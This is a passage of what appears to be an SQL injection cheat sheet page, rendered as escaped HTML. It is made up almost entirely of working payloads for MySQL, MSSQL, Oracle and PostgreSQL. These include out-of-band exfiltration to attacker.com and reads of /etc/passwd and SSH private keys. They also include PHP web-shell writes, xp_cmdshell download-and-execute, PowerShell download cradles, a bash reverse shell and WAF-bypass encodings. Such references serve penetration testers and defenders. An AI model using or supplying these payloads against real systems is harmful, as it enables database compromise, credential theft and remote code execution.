&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;&lt;/span&gt;; &lt;span style=&#34;color:#66d9ef&#34;&gt;DECLARE&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;@&lt;/span&gt;q NVARCHAR(&lt;span style=&#34;color:#ae81ff&#34;&gt;1000&lt;/span&gt;); &lt;span style=&#34;color:#66d9ef&#34;&gt;SET&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;@&lt;/span&gt;q&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;\\&amp;#39;&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;+@@&lt;/span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;version&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;+&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;.attacker.com\share&amp;#39;&lt;/span&gt;; &lt;span style=&#34;color:#66d9ef&#34;&gt;EXEC&lt;/span&gt; xp_dirtree &lt;span style=&#34;color:#f92672&#34;&gt;@&lt;/span&gt;q&lt;span style=&#34;color:#75715e&#34;&gt;--
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;-- Oracle (UTL_HTTP):
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39; AND 1=(SELECT UTL_HTTP.REQUEST(&amp;#39;&lt;/span&gt;http:&lt;span style=&#34;color:#f92672&#34;&gt;//&lt;/span&gt;attacker.com&lt;span style=&#34;color:#f92672&#34;&gt;/&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;||user) FROM DUAL)--
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;-- Oracle (UTL_FILE / DNS):
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;AND&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;1&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;(&lt;span style=&#34;color:#66d9ef&#34;&gt;SELECT&lt;/span&gt; UTL_INADDR.GET_HOST_ADDRESS((&lt;span style=&#34;color:#66d9ef&#34;&gt;SELECT&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;user&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;FROM&lt;/span&gt; DUAL)&lt;span style=&#34;color:#f92672&#34;&gt;||&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;.attacker.com&amp;#39;&lt;/span&gt;) &lt;span style=&#34;color:#66d9ef&#34;&gt;FROM&lt;/span&gt; DUAL)&lt;span style=&#34;color:#75715e&#34;&gt;--
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;-- PostgreSQL (COPY):
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;; COPY (SELECT version()) TO PROGRAM &amp;#39;&lt;/span&gt;curl http:&lt;span style=&#34;color:#f92672&#34;&gt;//&lt;/span&gt;attacker.com&lt;span style=&#34;color:#f92672&#34;&gt;/?&lt;/span&gt;d&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#960050;background-color:#1e0010&#34;&gt;$&lt;/span&gt;(&lt;span style=&#34;color:#66d9ef&#34;&gt;version&lt;/span&gt;)&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;--
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;&lt;/span&gt;; &lt;span style=&#34;color:#66d9ef&#34;&gt;CREATE&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;TABLE&lt;/span&gt; tmp(&lt;span style=&#34;color:#66d9ef&#34;&gt;data&lt;/span&gt; text); &lt;span style=&#34;color:#66d9ef&#34;&gt;COPY&lt;/span&gt; tmp &lt;span style=&#34;color:#66d9ef&#34;&gt;FROM&lt;/span&gt; PROGRAM &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;curl -s http://attacker.com/&amp;#39;&lt;/span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;--
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id=&#34;section-8--stacked-queries--file-rw&#34;&gt;Section 8 — Stacked Queries &amp;amp; File R/W&lt;/h3&gt;
&lt;h4 id=&#34;mysql-file-readwrite&#34;&gt;MySQL File Read/Write&lt;/h4&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-sql&#34; data-lang=&#34;sql&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;-- Read file (requires FILE privilege):
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39; UNION SELECT LOAD_FILE(&amp;#39;&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;/&lt;/span&gt;etc&lt;span style=&#34;color:#f92672&#34;&gt;/&lt;/span&gt;passwd&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;)--
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;UNION&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;SELECT&lt;/span&gt; LOAD_FILE(&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;/var/www/html/config.php&amp;#39;&lt;/span&gt;)&lt;span style=&#34;color:#75715e&#34;&gt;--
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39; UNION SELECT LOAD_FILE(&amp;#39;&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;/&lt;/span&gt;root&lt;span style=&#34;color:#f92672&#34;&gt;/&lt;/span&gt;.ssh&lt;span style=&#34;color:#f92672&#34;&gt;/&lt;/span&gt;id_rsa&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;)--
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;-- Write file (requires FILE + write permissions):
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;UNION&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;SELECT&lt;/span&gt; &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;&amp;lt;?php system($_GET[&amp;#34;cmd&amp;#34;]);?&amp;gt;&amp;#39;&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;INTO&lt;/span&gt; OUTFILE &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;/var/www/html/shell.php&amp;#39;&lt;/span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;--
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39; UNION SELECT &amp;#39;&amp;#39; INTO DUMPFILE &amp;#39;&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;/&lt;/span&gt;var&lt;span style=&#34;color:#f92672&#34;&gt;/&lt;/span&gt;www&lt;span style=&#34;color:#f92672&#34;&gt;/&lt;/span&gt;html&lt;span style=&#34;color:#f92672&#34;&gt;/&lt;/span&gt;shell.php&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;--
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;-- Write with newlines encoded:
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;UNION&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;SELECT&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt;x3c3f7068702073797374656d28245f4745545b22636d64225d293b3f3e &lt;span style=&#34;color:#66d9ef&#34;&gt;INTO&lt;/span&gt; OUTFILE &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;/var/www/html/shell.php&amp;#39;&lt;/span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;--
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h4 id=&#34;mssql-xp_cmdshell&#34;&gt;MSSQL xp_cmdshell&lt;/h4&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-sql&#34; data-lang=&#34;sql&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;-- Enable xp_cmdshell (requires sysadmin):
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;; EXEC sp_configure &amp;#39;&lt;/span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;show&lt;/span&gt; advanced &lt;span style=&#34;color:#66d9ef&#34;&gt;options&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;,1; RECONFIGURE;--
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;&lt;/span&gt;; &lt;span style=&#34;color:#66d9ef&#34;&gt;EXEC&lt;/span&gt; sp_configure &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;xp_cmdshell&amp;#39;&lt;/span&gt;,&lt;span style=&#34;color:#ae81ff&#34;&gt;1&lt;/span&gt;; RECONFIGURE;&lt;span style=&#34;color:#75715e&#34;&gt;--
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;-- Execute OS command:
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;; EXEC xp_cmdshell &amp;#39;&lt;/span&gt;whoami&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;--
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;&lt;/span&gt;; &lt;span style=&#34;color:#66d9ef&#34;&gt;EXEC&lt;/span&gt; xp_cmdshell &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;certutil -urlcache -split -f http://attacker.com/shell.exe C:\shell.exe &amp;amp;&amp;amp; C:\shell.exe&amp;#39;&lt;/span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;--
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;-- Read file via xp_cmdshell:
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;; EXEC xp_cmdshell &amp;#39;&lt;/span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;type&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;C&lt;/span&gt;:&lt;span style=&#34;color:#960050;background-color:#1e0010&#34;&gt;\&lt;/span&gt;Windows&lt;span style=&#34;color:#960050;background-color:#1e0010&#34;&gt;\&lt;/span&gt;win.ini&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;--
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;-- MSSQL reverse shell via PowerShell:
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;&lt;/span&gt;; &lt;span style=&#34;color:#66d9ef&#34;&gt;EXEC&lt;/span&gt; xp_cmdshell &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;powershell -c &amp;#34;iex(New-Object Net.WebClient).DownloadString(&amp;#39;&amp;#39;http://attacker.com/shell.ps1&amp;#39;&amp;#39;)&amp;#34;&amp;#39;&lt;/span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;--
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h4 id=&#34;postgresql-rce&#34;&gt;PostgreSQL RCE&lt;/h4&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-sql&#34; data-lang=&#34;sql&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;-- COPY TO PROGRAM (PostgreSQL 9.3+, requires superuser):
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;; COPY (SELECT &amp;#39;&amp;#39;) TO PROGRAM &amp;#39;&lt;/span&gt;id &lt;span style=&#34;color:#f92672&#34;&gt;&amp;gt;&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;/&lt;/span&gt;tmp&lt;span style=&#34;color:#f92672&#34;&gt;/&lt;/span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;out&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;--
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;&lt;/span&gt;; &lt;span style=&#34;color:#66d9ef&#34;&gt;COPY&lt;/span&gt; (&lt;span style=&#34;color:#66d9ef&#34;&gt;SELECT&lt;/span&gt; &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;&amp;#39;&lt;/span&gt;) &lt;span style=&#34;color:#66d9ef&#34;&gt;TO&lt;/span&gt; PROGRAM &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;bash -i &amp;gt;&amp;amp; /dev/tcp/attacker.com/4444 0&amp;gt;&amp;amp;1&amp;#39;&lt;/span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;--
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;-- Large object execution:
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;; SELECT lo_import(&amp;#39;&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;/&lt;/span&gt;etc&lt;span style=&#34;color:#f92672&#34;&gt;/&lt;/span&gt;passwd&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;)--
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;&lt;/span&gt;; &lt;span style=&#34;color:#66d9ef&#34;&gt;SELECT&lt;/span&gt; lo_export(&lt;span style=&#34;color:#ae81ff&#34;&gt;16384&lt;/span&gt;,&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;/var/www/html/shell.php&amp;#39;&lt;/span&gt;)&lt;span style=&#34;color:#75715e&#34;&gt;--
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;-- Extension loading (superuser):
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;; CREATE EXTENSION IF NOT EXISTS plpython3u;--
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;&lt;/span&gt;; &lt;span style=&#34;color:#66d9ef&#34;&gt;CREATE&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;OR&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;REPLACE&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;FUNCTION&lt;/span&gt; sys(cmd TEXT) &lt;span style=&#34;color:#66d9ef&#34;&gt;RETURNS&lt;/span&gt; TEXT &lt;span style=&#34;color:#66d9ef&#34;&gt;AS&lt;/span&gt; &lt;span style=&#34;color:#960050;background-color:#1e0010&#34;&gt;$$&lt;/span&gt; import subprocess; &lt;span style=&#34;color:#66d9ef&#34;&gt;return&lt;/span&gt; subprocess.getoutput(cmd) &lt;span style=&#34;color:#960050;background-color:#1e0010&#34;&gt;$$&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;LANGUAGE&lt;/span&gt; plpython3u;&lt;span style=&#34;color:#75715e&#34;&gt;--
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;; SELECT sys(&amp;#39;&lt;/span&gt;id&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;);--
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;hr&gt;
&lt;h3 id=&#34;section-9--waf-bypass-techniques&#34;&gt;Section 9 — WAF Bypass Techniques&lt;/h3&gt;
&lt;h4 id=&#34;comment-injection-break-keywords&#34;&gt;Comment Injection (break keywords)&lt;/h4&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-sql&#34; data-lang=&#34;sql&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;-- MySQL inline comments:
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;UN&lt;span style=&#34;color:#75715e&#34;&gt;/**/&lt;/span&gt;ION SEL&lt;span style=&#34;color:#75715e&#34;&gt;/**/&lt;/span&gt;ECT
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;UN&lt;span style=&#34;color:#75715e&#34;&gt;/*!50000ION*/&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;SELECT&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;UNION&lt;/span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;/*bypass*/&lt;/span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;SELECT&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;SEL&lt;span style=&#34;color:#75715e&#34;&gt;/**/&lt;/span&gt;ECT &lt;span style=&#34;color:#ae81ff&#34;&gt;1&lt;/span&gt;,&lt;span style=&#34;color:#ae81ff&#34;&gt;2&lt;/span&gt;,&lt;span style=&#34;color:#ae81ff&#34;&gt;3&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;-- Equivalent comments:
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;/**/OR/**/1=1--
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;&lt;/span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;/*!OR*/&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;1&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;1&lt;/span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;--
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;-- Version-specific bypass:
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;/*!UNION*//*!SELECT*/&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;1&lt;/span&gt;,&lt;span style=&#34;color:#ae81ff&#34;&gt;2&lt;/span&gt;,&lt;span style=&#34;color:#ae81ff&#34;&gt;3&lt;/span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;--
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h4 id=&#34;case--encoding-bypasses&#34;&gt;Case &amp;amp; Encoding Bypasses&lt;/h4&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-sql&#34; data-lang=&#34;sql&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;-- Case variation:
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;uNiOn&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;SeLeCt&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;UnIoN&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;SeLeCT&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;UNION&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;%&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;20&lt;/span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;SELECT&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;-- URL encoding:
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;%&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;55&lt;/span&gt;NION&lt;span style=&#34;color:#f92672&#34;&gt;%&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;20&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;%&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;53&lt;/span&gt;ELECT
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;UNION&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;%&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt;aSELECT          &lt;span style=&#34;color:#75715e&#34;&gt;-- newline instead of space
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;UNION&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;%&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;09&lt;/span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;SELECT&lt;/span&gt;           &lt;span style=&#34;color:#75715e&#34;&gt;-- tab instead of space
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;UNION&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;%&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt;cSELECT           &lt;span style=&#34;color:#75715e&#34;&gt;-- form feed
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;-- Double URL encode:
